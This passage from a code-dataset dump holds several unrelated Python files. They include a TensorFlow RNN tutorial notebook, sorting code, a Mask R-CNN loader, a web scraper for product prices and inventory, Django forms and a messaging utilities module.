gen_data(size=1000000):\n X = np.array(np.random.choice(2, size=(size,)))\n Y = []\n for i in range(size):\n threshold = 0.5\n if X[i-3] == 1:\n threshold += 0.5\n if X[i-8] == 1:\n threshold -= 0.25\n if np.random.rand() > threshold:\n Y.append(0)\n else:\n Y.append(1)\n return X, np.array(Y)\n\n# adapted from https://github.com/tensorflow/tensorflow/blob/master/tensorflow/models/rnn/ptb/reader.py\ndef gen_batch(raw_data, batch_size, num_steps):\n raw_x, raw_y = raw_data\n data_length = len(raw_x)\n\n # partition raw data into batches and stack them vertically in a data matrix\n batch_partition_length = data_length // batch_size\n data_x = np.zeros([batch_size, batch_partition_length], dtype=np.int32)\n data_y = np.zeros([batch_size, batch_partition_length], dtype=np.int32)\n for i in range(batch_size):\n data_x[i] = raw_x[batch_partition_length * i:batch_partition_length * (i + 1)]\n data_y[i] = raw_y[batch_partition_length * i:batch_partition_length * (i + 1)]\n # further divide batch partitions into num_steps for truncated backprop\n epoch_size = batch_partition_length // num_steps\n\n for i in range(epoch_size):\n x = data_x[:, i * num_steps:(i + 1) * num_steps]\n y = data_y[:, i * num_steps:(i + 1) * num_steps]\n yield (x, y)\n\ndef gen_epochs(n, num_steps):\n for i in range(n):\n yield gen_batch(gen_data(), batch_size, num_steps)\n\n\n# In[5]:\n\n\"\"\"\nPlaceholders\n\"\"\"\n\nx = tf.placeholder(tf.int32, [batch_size, num_steps], name='input_placeholder')\ny = tf.placeholder(tf.int32, [batch_size, num_steps], name='labels_placeholder')\ninit_state = tf.zeros([batch_size, state_size])\n\n\"\"\"\nRNN Inputs\n\"\"\"\n\n# Turn our x placeholder into a list of one-hot tensors:\n# rnn_inputs is a list of num_steps tensors with shape [batch_size, num_classes]\nx_one_hot = tf.one_hot(x, num_classes)\n# x ==> (200, 5)\n# x_one_hot ==> (200, 5, 2)\nrnn_inputs = tf.unstack(x_one_hot, axis=1)\n# run_inputs ==> (200, 2)\n\n\n# ### 解释unstack的意思\n# 这里使用unstack是为了把一个batch的200句话平行输入RNN.\n# \n# 步骤如下:\n# 1. 首先把batch_size定义为200, \n\n# ### tf.unstack(value, axis=0)\n# what is the meaning of axis?\n# 1. function: unstack the tensor from rank R to rank (R-1)\n# - in the example above, the rank R of x_one_hot is 3, rnn_inputs'rank is 2.\n# - the axis is used for value.shape[axis]\n# 2. why do it use unstack to deminish the data?\n# - from the document we can know that there should be 5 tensors in run_inputs. But the shape is only (200, 2), why?\n# - refer to the np.unstack()\n# - There should be 5 (200, 2) matrixs.\n\n# In[6]:\n\nnum_classes\n\n\n# In[7]:\n\n\"\"\"\nDefinition of rnn_cell\n\nThis is very similar to the __call__ method on Tensorflow's BasicRNNCell. See:\nhttps://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/rnn/python/ops/core_rnn_cell_impl.py#L95\n\"\"\"\nwith tf.variable_scope('rnn_cell'):\n W = tf.get_variable('W', [num_classes + state_size, state_size])\n b = tf.get_variable('b', [state_size], initializer=tf.constant_initializer(0.0))\n\ndef rnn_cell(rnn_input, state):\n with tf.variable_scope('rnn_cell', reuse=True):\n W = tf.get_variable('W', [num_classes + state_size, state_size])\n b = tf.get_variable('b', [state_size], initializer=tf.constant_initializer(0.0))\n return tf.tanh(tf.matmul(tf.concat([rnn_input, state], 1), W) + b)\n\n\n# 这个操作实现的就是下面这个运算\n# $(x @ s) \\times w + b$\n\n# ### tf.concat & tf.stack\n# 1. 共同点: 这两个函数都是用来reshape tensor的.\n# 2. 不同点:\n# - concat 把拥有一个共同维度的数组按照该维度组合.\n# - stack 可以把一个大于2维的数组按照一个指定维度来展开.\n# 3. 两者之间的转换如何举例?\n\n# In[8]:\n\n\"\"\"\nAdding rnn_cells to graph\n\nThis is a simplified version of the \"static_rnn\" function from Tensorflow's api. See:\nhttps://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/rnn/python/ops/core_rnn.py#L41\nNote: In practice, using \"dynamic_rnn\" is a better choice that the \"static_rnn\":\nhttps://github.com/tensorflow/tensorflow/blob/master/tensorflow/python/ops/rnn.py#L390\n\"\"\"\nstate = init_state\nrnn_outputs = [] # A list of states based on the input size.\nfor rnn_input in rnn_inputs: # run_inputs ==> (200, 2) * 5 list\n state = rnn_cell(rnn_input, state)\n rnn_outputs.append(state) \nfinal_state = rnn_outputs[-1]\n\n\n# 这个state 是一个自己定义维度的一个向量, 对于每一个batch 都有 *一系列* 的states和它对应.\n# $$state \\in R^{batch\\_size \\times num\\_steps}$$\n# ### TODO: state向量的维度是多少比较合适呢?\n# \n\n# In[9]:\n\n\"\"\"\nPredictions, loss, training step\n\nLosses is similar to the \"sequence_loss\"\nfunction from Tensorflow's API, except that here we are using a list of 2D tensors, instead of a 3D tensor. See:\nhttps://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/seq2seq/python/ops/loss.py#L30\n\"\"\"\n\n#logits and predictions\nwith tf.variable_scope('softmax', reuse=None):\n W = tf.get_variable('W', [state_size, num_classes])\n b = tf.get_variable('b', [num_classes], \n initializer=tf.constant_initializer(0.0))\n\n\n# In[10]:\n\nlogits = [tf.matmul(rnn_output, W) + b for rnn_output in rnn_outputs]\n# logits ==> (time_step, batch_size, num_classes)\npredictions = [tf.nn.softmax(logit) for logit in logits]\n# predictions ==> logits.shape\n# Turn our y placeholder into a list of labels\ny_as_list = tf.unstack(y, num=num_steps, axis=1)\n# y_as_list ==> 5 * (200, 2)\n#losses and train_step\nlosses = [tf.nn.sparse_softmax_cross_entropy_with_logits(labels=label, logits=logit) for logit, label in zip(logits, y_as_list)]\ntotal_loss = tf.reduce_mean(losses)\ntrain_step = tf.train.AdagradOptimizer(learning_rate).minimize(total_loss)\n\n\n# ### TODO: what is the difference between the two w and b? Are they the same, or they are different?\n# \n# \n# The above is calculating the states with the next input, and store into a list named _prediction_ .\n# $$state \\times w + b $$\n# \n# - the size of each variables.\n# $$ w\\in R^{d \\times (n+s)}$$\n# \n\n# ### 关于 tf.variable_scope(name) \n# scope的作用类似于一个命名管理器.\n# \n# 不同scope下面的变量可以使用相同的名字.\n\n# In[11]:\n\n\"\"\"\nTrain the network\n\"\"\"\n\ndef train_network(num_epochs, num_steps, state_size=4, verbose=True):\n with tf.Session() as sess:\n sess.run(tf.global_variables_initializer())\n training_losses = []\n for idx, epoch in enumerate(gen_epochs(num_epochs, num_steps)):\n training_loss = 0\n training_state = np.zeros((batch_size, state_size))\n if verbose:\n print(\"\\nEPOCH\", idx)\n for step, (X, Y) in enumerate(epoch):\n tr_losses, training_loss_, training_state, _ = sess.run([losses,\n total_loss,\n final_state,\n train_step],\n feed_dict={x:X, y:Y, init_state:training_state})\n training_loss += training_loss_\n if step % 100 == 0 and step > 0:\n if verbose:\n print(\"Average loss at step\", step,\n \"for last 250 steps:\", training_loss/100)\n training_losses.append(training_loss/100)\n training_loss = 0\n\n return training_losses\n\n\n# In[12]:\n\ntraining_losses = train_network(1,num_steps)\nplt.plot(training_losses)\n\n\n# The author said this is the first dependency.\n# But why?\n","sub_path":"tutorials/RNN_numpy/basic_rnn_mine.py","file_name":"basic_rnn_mine.py","file_ext":"py","file_size_in_byte":8171,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"18066417","text":"\"\"\"\ndef merge(left, right):\n result = []\n\n while len(left) > 0 or len(right) > 0:\n if len(left) > 0 and len(right) > 0:\n if left[0] <= right[0]:\n result.append(left[0])\n left = left[1:]\n else:\n result.append(right[0])\n right = right[1:]\n elif len(left) > 0:\n result.append(left[0])\n left = left[1:]\n elif len(right) > 0:\n result.append(right[0])\n right = right[1:]\n return result\n\n\ndef merge_sort(list):\n if len(list) <= 1:\n return list\n mid = len(list) / 2\n leftList = list[:mid]\n rightList = list[mid:]\n leftList = merge_sort(leftList)\n rightList = merge_sort(rightList)\n return merge(leftList, rightList)\n\nlist = [101, 5, -1, 20, 13, 11]\n\nprint (list)\n\n\n\nnewList = merge_sort(list)\n\nprint (newList)\n\"\"\"\n\ndef merge(left,right):\n sorted=[] #array to store the sorted list\n i,j=0,0\n while iAlgoritmos de Estado Simple\"\n html += \"
    Rendimiento
    \"\n html += \"\"\n for v in self.statistics[0]:\n html += \"\"\n html +=\"\"\n for i in self.statistics[0]:\n html += \"\"\n html += \"\"\n for statistics in self.statistics:\n html += \"\"\n for i in range(len(statistics)):\n html += \"\"\n html += \"\"\n html += \"\"\n html += \"\"\n html += \"\"\n for total in total_average:\n html += \"\"\n html += \"\"\n\n html += \"
    Dataset\" + v.algorithm + \"
    MediaDesviacionTasa de exito
    \" + statistics[0].name_file + \"\" + str(round(statistics[i].average(), 3)) + \"\" + str(round(statistics[i].std(), 3)) + \"\" + str(round(statistics[i].successfull_rate(), 3)) + \"
    \" + \"TOTAL\" + \"\" + str(round(total, 3)) + \"
    \"\n\n self.def_name()\n hs = open(self.root + self.name + self.HTML, 'w')\n hs.write(html)\n\n def def_name(self):\n self.name = \"record_{}_{}\".format(time.strftime(\"%d_%m_%y\"), time.strftime(\"%H_%M\"))\n","sub_path":"data/export.py","file_name":"export.py","file_ext":"py","file_size_in_byte":3572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"80663417","text":"import os\nimport sys\nimport json\nimport datetime\nimport numpy as np\nimport skimage.draw\n\n# Root directory of the project\nROOT_DIR = os.path.abspath(\"../../\")\n\n# Import Mask RCNN\nsys.path.append(ROOT_DIR) # To find local version of the library\nfrom mrcnn.config import Config\nfrom mrcnn import model as modellib, utils\n\n# Path to trained weights file\nCOCO_WEIGHTS_PATH = os.path.join(ROOT_DIR, \"mask_rcnn_coco.h5\")\n\n# Directory to save logs and model checkpoints, if not provided\n# through the command line argument --logs\nDEFAULT_LOGS_DIR = os.path.join(ROOT_DIR, \"logs\")\n\n############################################################\n# Dataset\n############################################################\n\nclass IDVDataset(utils.Dataset):\n\n def load_idv(self, dataset_dir):\n \"\"\"Load a subset of the Balloon dataset.\n dataset_dir: Root directory of the dataset.\n subset: Subset to load: train or val\n \"\"\"\n # Add classes. We have only three class to add.\n self.add_class(\"idv\", 1, \"ac\")\n self.add_class(\"idv\", 2, \"bottle\")\n self.add_class(\"idv\", 3, \"laptop\")\n self.add_class(\"idv\", 4, \"mobile\")\n self.add_class(\"idv\", 5, \"shoe\")\n self.add_class(\"idv\", 6, \"watch\")\n \n # Train or validation dataset?\n assert subset in [\"train\", \"val\"]\n dataset_dir = os.path.join(dataset_dir, subset)\n\n annotations = json.load(open(os.path.join(dataset_dir, \".../train/via_region_data.json\")))\n annotations = list(annotations.values()) # don't need the dict keys\n\n # The VIA tool saves images in the JSON even if they don't have any\n # annotations. Skip unannotated images.\n annotations = [a for a in annotations if a['regions']]\n\n # Add images\n for a in annotations:\n # Get the x, y coordinaets of points of the polygons that make up\n # the outline of each object instance. There are stores in the\n # shape_attributes (see json format above)\n # for b in a['regions'].values():\n # polygons = [{**b['shape_attributes'], **b['region_attributes']}]\n # print(\"string=\", polygons)\n # for r in a['regions'].values():\n # polygons = [r['shape_attributes']]\n # # print(\"polygons=\", polygons)\n # multi_numbers = [r['region_attributes']]\n # print(\"multi_numbers=\", multi_numbers)\n polygons = [r['shape_attributes'] for r in a['regions'].values()]\n objects = [s['region_attributes'] for s in a['regions'].values()]\n # print(\"multi_numbers=\", multi_numbers)\n # num_ids = [n for n in multi_numbers['number'].values()]\n # for n in multi_numbers:\n num_ids = [int(n['object']) for n in objects]\n # print(\"num_ids=\", num_ids)\n # print(\"num_ids_new=\", num_ids_new)\n # categories = [s['region_attributes'] for s in a['regions'].values()]\n # load_mask() needs the image size to convert polygons to masks.\n # Unfortunately, VIA doesn't include it in JSON, so we must read\n # the image. This is only managable since the dataset is tiny.\n image_path = os.path.join(dataset_dir, a['filename'])\n image = skimage.io.imread(image_path)\n height, width = image.shape[:2]\n\n self.add_image(\n \"object\",\n image_id=a['filename'], # use file name as a unique image id\n path=image_path,\n width=width, height=height,\n polygons=polygons,\n num_ids=num_ids)\n\n\n def load_mask(self, image_id):\n \"\"\"Generate instance masks for an image.\n Returns:\n masks: A bool array of shape [height, width, instance count] with\n one mask per instance.\n class_ids: a 1D array of class IDs of the instance masks.\n \"\"\"\n # If not a number dataset image, delegate to parent class.\n info = self.image_info[image_id]\n if info[\"source\"] != \"object\":\n return super(self.__class__, self).load_mask(image_id)\n num_ids = info['num_ids']\n # Convert polygons to a bitmap mask of shape\n # [height, width, instance_count]\n mask = np.zeros([info[\"height\"], info[\"width\"], len(info[\"polygons\"])],\n dtype=np.uint8)\n\n for i, p in enumerate(info[\"polygons\"]):\n # Get indexes of pixels inside the polygon and set them to 1\n rr, cc = skimage.draw.polygon(p['all_points_y'], p['all_points_x'])\n mask[rr, cc, i] = 1\n # print(\"info['num_ids']=\", info['num_ids'])\n # Map class names to class IDs.\n num_ids = np.array(num_ids, dtype=np.int32)\n return mask, num_ids\n\n def image_reference(self, image_id):\n \"\"\"Return the path of the image.\"\"\"\n info = self.image_info[image_id]\n if info[\"source\"] == \"object\":\n return info[\"path\"]\n else:\n super(self.__class__, self).image_reference(image_id)","sub_path":"MaskRCNN_Image_Segmentation/samples/ivddataset.py","file_name":"ivddataset.py","file_ext":"py","file_size_in_byte":5098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"335565824","text":"def fetch_medal_tally(medal_tally,year, country):\r\n medal_tally.drop_duplicates(subset=['Team', 'NOC', 'Games', 'Year', 'City', 'Sport', 'Event', 'Medal'], inplace = True)\r\n flag = 0\r\n if year == 'overall' and country == 'overall':\r\n temp_df = medal_tally\r\n if year == 'overall' and country != 'overall':\r\n flag = 1\r\n temp_df = medal_tally[medal_tally['region'] == country]\r\n if year != 'overall' and country == 'overall':\r\n temp_df = medal_tally[medal_tally['Year'] == int(year)]\r\n if year != 'overall' and country != 'overall':\r\n temp_df = medal_tally[(medal_tally['Year'] == year) & (medal_tally['region'] == country)]\r\n\r\n if flag == 1:\r\n answer = temp_df.groupby('Year').sum()[['Gold', 'Silver', 'Bronze']].sort_values('Year').reset_index()\r\n else:\r\n answer = temp_df.groupby('region').sum()[['Gold', 'Silver', 'Bronze']].sort_values('Gold',\r\n ascending=False).reset_index()\r\n\r\n answer['total'] = answer['Gold'] + answer['Silver'] + answer['Bronze']\r\n\r\n answer['Gold'] = answer['Gold'].astype('int')\r\n answer['Silver'] = answer['Silver'].astype('int')\r\n answer['Bronze'] = answer['Bronze'].astype('int')\r\n answer['total'] = answer['total'].astype('int')\r\n\r\n return answer","sub_path":"help.py","file_name":"help.py","file_ext":"py","file_size_in_byte":1351,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"553544646","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Aug 16 00:44:05 2020\n\n@author: Abhinav Pandey\n\nTitle - Ajijo Data Scraper\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nimport requests\nfrom IPython.display import clear_output\n\n# Cleaning Functions\ndef clean_tag(ptag):\n return ptag.get('onclick').replace(\"window.location.href=\", \"\")\ndef clean_price(price):\n return price.get('value').replace(\"Add 1 for\" ,\"\")\n\n# Extracting price and product info from ONE page\ndef page_extractor(url):\n page = requests.get(url)\n\n soup = BeautifulSoup(page.content, 'html.parser')\n \n prod_info = soup.find_all('div', class_=\"product-info\")\n price_info = soup.find_all('input', class_=\"btn\", type='button')\n \n products = [prod.find('a').text for prod in prod_info]\n prices = [clean_price(price) for price in price_info]\n price_item_tags = [clean_tag(ptag) for ptag in price_info]\n \n category = url.replace(\"https://www.ajijo.com.au/collections/\", \"\")\n category_feature = [category] * len(products)\n\n data = pd.DataFrame({'name' : products,\n 'price_correspondance' : price_item_tags,\n 'collection' : category_feature,\n 'price' : prices})\n \n return data\n\n# Extracting price and product info from ALL pages\ndef website_extractor():\n\n url = \"https://www.ajijo.com.au/collections/basmati-rice\"\n page = requests.get(url)\n\n soup = BeautifulSoup(page.content, 'html.parser')\n\n # Get all product catgeories from Basmati Rice webpage\n all_collections = [ele.get('href') for ele in soup.find_all('a', href=True) if (\"/collections/\" in ele.get('href')) & (\"/products/\" not in ele.get('href'))]\n all_collections = np.unique(all_collections)\n \n # Compile urls\n all_urls = [\"https://www.ajijo.com.au\" + ele for ele in all_collections]\n \n # Extract data from each url\n all_data = pd.DataFrame() # Initialize Empty DataFrame\n for i, url in enumerate(all_urls): \n \n clear_output(wait=True)\n \n page_data = page_extractor(url) \n all_data = pd.concat((all_data, page_data))\n \n print(\"Product and Price Data Compilation Progress : {} %\".format(np.round((i+1)/len(all_urls)*100 ,2)))\n \n \n all_data.reset_index(drop=True, inplace=True)\n\n return all_data\n\n# Extract inventory Data\ndef extract_inventory_data(data):\n \n url_base = \"https://www.ajijo.com.au/collections/\"\n\n data['item_url'] = url_base + data['collection'] + data['price_correspondance']\n data['item_url'] = data['item_url'].str.replace(\"'\",\"\")\n\n bad_url_condition = data.item_url.str.contains(\"page\")\n data.loc[bad_url_condition, 'item_url'] = data.loc[bad_url_condition, 'item_url'].str.replace(\"\\?page=2\", \"\")\n data.loc[bad_url_condition, 'item_url'] = data.loc[bad_url_condition, 'item_url'].str.replace(\"\\?page=3\", \"\")\n\n inventory = []\n url_list = []\n urls = data['item_url']\n\n for i, url in enumerate(urls):\n\n clear_output(wait=True)\n\n page = requests.get(url)\n soup = BeautifulSoup(page.content, 'html.parser')\n inventory_info = soup.find_all('div', class_=\"inventory\")[0].text\n\n inventory.append(inventory_info)\n url_list.append(url)\n\n print(\"Inventory Data Compilation Progress : {} %\".format(np.round(((i+1)/len(data)*100) ,2)))\n\n inventory_data = pd.DataFrame({'inventory' : inventory,\n 'item_url' : url_list})\n\n inventory_data = inventory_data[~inventory_data.duplicated()]\n\n return inventory_data\n\n# Clean Inventory Data\ndef clean_inventory_data(inventory_data):\n\n case_1 = inventory_data['inventory'].str.count(\"\\n\") == 9 \n case_2 = (inventory_data['inventory'].str.count(\"\\n\") == 5) & (inventory_data['inventory'].str.contains(\"available!\"))\n case_3 = inventory_data['inventory'].str.contains(\"out of stock\")\n\n inventory_data.loc[case_1, 'inventory'] = inventory_data.loc[case_1, 'inventory'].apply(lambda x : x.replace(\"\\n\",\"\").split()[3])\n inventory_data.loc[case_2, 'inventory'] = -99 # Available but unknown\n inventory_data.loc[case_3, 'inventory'] = -199 # Out of Stock\n\n inventory_data.inventory = inventory_data.inventory.astype(int)\n\n return inventory_data\n \n \ndef compile_dataset():\n \n price_product_data = website_extractor()\n inventory_data = extract_inventory_data(price_product_data)\n \n inventory_data = clean_inventory_data(inventory_data)\n \n dataset = pd.merge(price_product_data, inventory_data, on='item_url')\n dataset = dataset[['name', 'inventory', 'price', 'price_correspondance', 'collection', 'item_url']]\n \n return dataset\n\najijo_dataset = compile_dataset()\n\najijo_dataset.to_csv(\"data.csv\", index=False)","sub_path":"Ajijo/Ajijo Web Scraper.py","file_name":"Ajijo Web Scraper.py","file_ext":"py","file_size_in_byte":4840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"354699335","text":"\"\"\"\nSet tick parameters\n\"\"\"\nfrom typing import Dict\n\n\ndef set_tick_params(params):\n # type: (Dict) -> Dict\n \"\"\"Set the tick parameters\n\n Args:\n params (dict): plotting parameter dictionary\n\n Returns:\n same as input\n \"\"\"\n for panel_id, p in params['local'].items():\n obj_axis = params['internal']['canvas']['axes'][panel_id]\n for k in ['x', 'y']:\n for m in ['major', 'minor']:\n if m is 'major':\n obj_axis.ticklabel_format(\n axis=k,\n style=p['tick_label'][m]['format']['style'][k],\n scilimits=(0,0),\n useMathText=True)\n getattr(obj_axis, \"{}axis\".format(k)).offsetText.set_fontsize(\n p['tick_label'][m]['format']['sci_font_size'][k])\n obj_axis.tick_params(\n axis=k,\n which=m,\n labelsize=p['tick_label'][m]['font']['size'][k],\n width=p['tick'][m]['width'][k])\n\n return params\n","sub_path":"plot/finetune/local_axis/set_tick_params.py","file_name":"set_tick_params.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"639571233","text":"# uncompyle6 version 3.7.4\n# Python bytecode 2.7 (62211)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: C:\\BitBucket\\djmicrosip_apps\\djmicrosip_reorden\\djmicrosip_reorden\\forms.py\n# Compiled at: 2015-10-19 16:12:47\nfrom django import forms\nfrom .models import *\nfrom django.conf import settings\nif 'djmicrosip_tareas' in settings.EXTRA_MODULES:\n from djmicrosip_tareas.models import ProgrammedTask\n\n class ProgrammedTaskForm(forms.ModelForm):\n period_start_datetime = forms.CharField(label='Inicio', widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Fecha inicio periodo...'}))\n period_end_datetime = forms.CharField(label='Fin', widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': '...'}), required=False)\n period_quantity = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'unidades...'}))\n ESTATUS_ARTICULOS = (('P', 'POR PEDIR'), ('C', 'CRITICO'))\n estatus = forms.ChoiceField(widget=forms.Select, choices=ESTATUS_ARTICULOS)\n almacenes = forms.ModelMultipleChoiceField(widget=forms.CheckboxSelectMultiple, queryset=Almacen.objects.all())\n NIVEL_RESURTIR = (('M', 'MAXIMO'), ('R', 'REORDEN'))\n nivel = forms.ChoiceField(widget=forms.Select, choices=NIVEL_RESURTIR)\n next_execution = forms.CharField(widget=forms.HiddenInput(), required=False)\n\n class Meta:\n model = ProgrammedTask\n exclude = ('description', 'command_type', 'command', 'status', 'last_execution')\n widgets = {'period_unit': forms.Select(attrs={'class': 'form-control'})}\n\n def save(self, *args, **kwargs):\n nivel = self.cleaned_data['nivel']\n nivel_obj = Registry.objects.get(nombre='SIC_REORDEN_nivel')\n nivel_obj.valor = nivel\n nivel_obj.save()\n almacenes = self.cleaned_data['almacenes']\n almacenes_ids = almacenes.values_list('ALMACEN_ID', flat=True)\n almacenes_obj = Registry.objects.get(nombre='SIC_REORDEN_almacenes_id')\n almacenes_obj.valor = (',').join(map(str, almacenes_ids))\n almacenes_obj.save()\n estatus = self.cleaned_data['estatus']\n estatus_obj = Registry.objects.get(nombre='SIC_REORDEN_estatus')\n estatus_obj.valor = estatus\n estatus_obj.save()\n return super(ProgrammedTaskForm, self).save(*args, **kwargs)\n\n\nclass GeneraOrdenForm(forms.Form):\n almacen = forms.ModelChoiceField(widget=forms.Select, queryset=Almacen.objects.all(), required=True)\n ESTATUS_ARTICULOS = (('P', 'POR PEDIR'), ('C', 'CRITICO'))\n estatus = forms.ChoiceField(widget=forms.Select, choices=ESTATUS_ARTICULOS)\n NIVEL_RESURTIR = (('M', 'MAXIMO'), ('R', 'REORDEN'))\n nivel = forms.ChoiceField(widget=forms.Select, choices=NIVEL_RESURTIR)\n\n\nclass ProgrammedTaskInForm(forms.ModelForm):\n period_start_datetime = forms.CharField(label='Inicio', widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Fecha inicio periodo...'}))\n period_end_datetime = forms.CharField(label='Fin', widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': '...'}), required=False)\n period_quantity = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'unidades...'}))\n next_execution = forms.CharField(widget=forms.HiddenInput(), required=False)\n\n def __init__(self, *args, **kwargs):\n bases_de_datos = settings.MICROSIP_DATABASES.keys()\n empresas = []\n for database_conexion in bases_de_datos:\n try:\n database_conexion = '%s' % database_conexion\n except UnicodeDecodeError:\n pass\n else:\n conexion_split = database_conexion.split('-')\n conexion_id = conexion_split[0]\n empresa = ('-').join(conexion_split[1:])\n conexion = ConexionDB.objects.get(pk=int(conexion_id))\n database_conexion_name = '%02d-%s' % (conexion.id, empresa)\n empresa_option = [database_conexion, database_conexion_name]\n empresas.append(empresa_option)\n\n super(ProgrammedTaskInForm, self).__init__(*args, **kwargs)\n self.fields['empresas'] = forms.ChoiceField(choices=empresas)\n\n def save(self, *args, **kwargs):\n empresa = self.cleaned_data['empresas']\n empresa_obj = Registry.objects.get(nombre='SIC_REORDEN_empresa')\n empresa_obj.valor = empresa\n empresa_obj.save()\n return super(ProgrammedTaskInForm, self).save(*args, **kwargs)\n\n class Meta:\n model = ProgrammedTask\n exclude = ('description', 'command_type', 'command', 'status', 'last_execution')\n widgets = {'period_unit': forms.Select(attrs={'class': 'form-control'})}\n\n\nclass ProgrammedTaskOutForm(forms.ModelForm):\n period_start_datetime = forms.CharField(label='Inicio', widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'Fecha inicio periodo...'}))\n period_end_datetime = forms.CharField(label='Fin', widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': '...'}), required=False)\n period_quantity = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control', 'placeholder': 'unidades...'}))\n next_execution = forms.CharField(widget=forms.HiddenInput(), required=False)\n\n class Meta:\n model = ProgrammedTask\n exclude = ('description', 'command_type', 'command', 'status', 'last_execution')\n widgets = {'period_unit': forms.Select(attrs={'class': 'form-control'})}","sub_path":"pycfiles/djmicrosip_reorden-1.2.0/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":5673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"472599256","text":"import os\nimport hmac\nimport types\nimport weakref\nimport hashlib\nimport requests\nimport threading\nimport logging, logging.handlers\nfrom ConfigParser import SafeConfigParser\nimport socket\n\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\nfrom requests.exceptions import Timeout, RequestException\n\n\nlogger = logging.getLogger('balaio.utils')\n\n# stdout_lock is used by send_messages func to sincronize\n# writes to the data stream\nstdout_lock = threading.Lock()\n\n# stdin_lock is used by recv_messages func to sincronize\n# reads to the data stream\nstdin_lock = threading.Lock()\n\n# flag to indicate if the process have\n# already defined a logger handler.\nhas_logger = False\n\n\nclass SingletonMixin(object):\n \"\"\"\n Adds a singleton behaviour to an existing class.\n\n weakrefs are used in order to keep a low memory footprint.\n As a result, args and kwargs passed to classes initializers\n must be of weakly refereable types.\n \"\"\"\n _instances = weakref.WeakValueDictionary()\n\n def __new__(cls, *args, **kwargs):\n key = (cls, args, tuple(kwargs.items()))\n\n if key in cls._instances:\n return cls._instances[key]\n\n new_instance = super(type(cls), cls).__new__(cls, *args, **kwargs)\n cls._instances[key] = new_instance\n\n return new_instance\n\n\nclass Configuration(SingletonMixin):\n \"\"\"\n Acts as a proxy to the ConfigParser module\n \"\"\"\n def __init__(self, fp, parser_dep=SafeConfigParser):\n self.conf = parser_dep()\n self.conf.readfp(fp)\n\n @classmethod\n def from_file(cls, filepath):\n \"\"\"\n Returns an instance of Configuration\n\n ``filepath`` is a text string.\n \"\"\"\n fp = open(filepath, 'rb')\n return cls(fp)\n\n def __getattr__(self, attr):\n return getattr(self.conf, attr)\n\n def items(self):\n \"\"\"Settings as key-value pair.\n \"\"\"\n return [(section, dict(self.conf.items(section))) for \\\n section in [section for section in self.conf.sections()]]\n\n\ndef balaio_config_from_env():\n \"\"\"\n Returns an instance of Configuration.\n \"\"\"\n try:\n filepath = os.environ['BALAIO_SETTINGS_FILE']\n except KeyError:\n raise ValueError('missing env variable BALAIO_SETTINGS_FILE')\n\n return Configuration.from_file(filepath)\n\n\ndef alembic_config_from_env():\n \"\"\"\n Returns an instance of Configuration.\n\n Alembic is a DB migrations system for SqlAlchemy.\n \"\"\"\n try:\n filepath = os.environ['BALAIO_ALEMBIC_SETTINGS_FILE']\n except KeyError:\n raise ValueError('missing env variable BALAIO_ALEMBIC_SETTINGS_FILE')\n\n return Configuration.from_file(filepath)\n\n\ndef make_digest(message, secret='sekretz'):\n \"\"\"\n Returns a digest for the message based on the given secret\n\n ``message`` is the file object or byte string to be calculated\n ``secret`` is a shared key used by the hash algorithm\n \"\"\"\n hash = hmac.new(secret, '', hashlib.sha1)\n\n if hasattr(message, 'read'):\n while True:\n chunk = message.read(1024)\n if not chunk:\n break\n hash.update(chunk)\n\n elif isinstance(message, types.StringType):\n hash.update(message)\n\n else:\n raise TypeError('Unsupported type %s' % type(message))\n\n return hash.hexdigest()\n\n\ndef make_digest_file(filepath, secret='sekretz'):\n \"\"\"\n Returns a digest for the filepath based on the given secret\n\n ``filepath`` is the file to have its bytes calculated\n ``secret`` is a shared key used by the hash algorithm\n \"\"\"\n with open(filepath, 'rb') as f:\n digest = make_digest(f, secret)\n\n return digest\n\n\ndef send_message(stream, message, digest, pickle_dep=pickle):\n \"\"\"\n Serializes the message and flushes it through ``stream``.\n Writes to stream are synchronized in order to keep data\n integrity.\n\n ``stream`` is a writable socket, pipe, buffer of something like that.\n ``message`` is the object to be dispatched.\n ``digest`` is a callable that generates a hash in order to avoid\n data transmission corruptions.\n \"\"\"\n if hasattr(stream, 'getsockname'):\n stream = FileLikeSocket(stream)\n\n if not callable(digest):\n raise ValueError('digest must be callable')\n\n serialized = pickle_dep.dumps(message, pickle_dep.HIGHEST_PROTOCOL)\n data_digest = digest(serialized)\n header = '%s %s\\n' % (data_digest, len(serialized))\n\n with stdout_lock:\n logger.debug('Stream %s is locked' % stream)\n stream.write(header)\n stream.write(serialized)\n stream.flush()\n\n logger.debug('Stream %s is unlocked' % stream)\n logger.debug('Message sent with header: %s' % header)\n\n\ndef recv_messages(stream, digest, pickle_dep=pickle):\n \"\"\"\n Returns an iterator that retrieves messages from the ``stream``\n on its deserialized form.\n When the stream is exhausted the iterator stops, raising\n 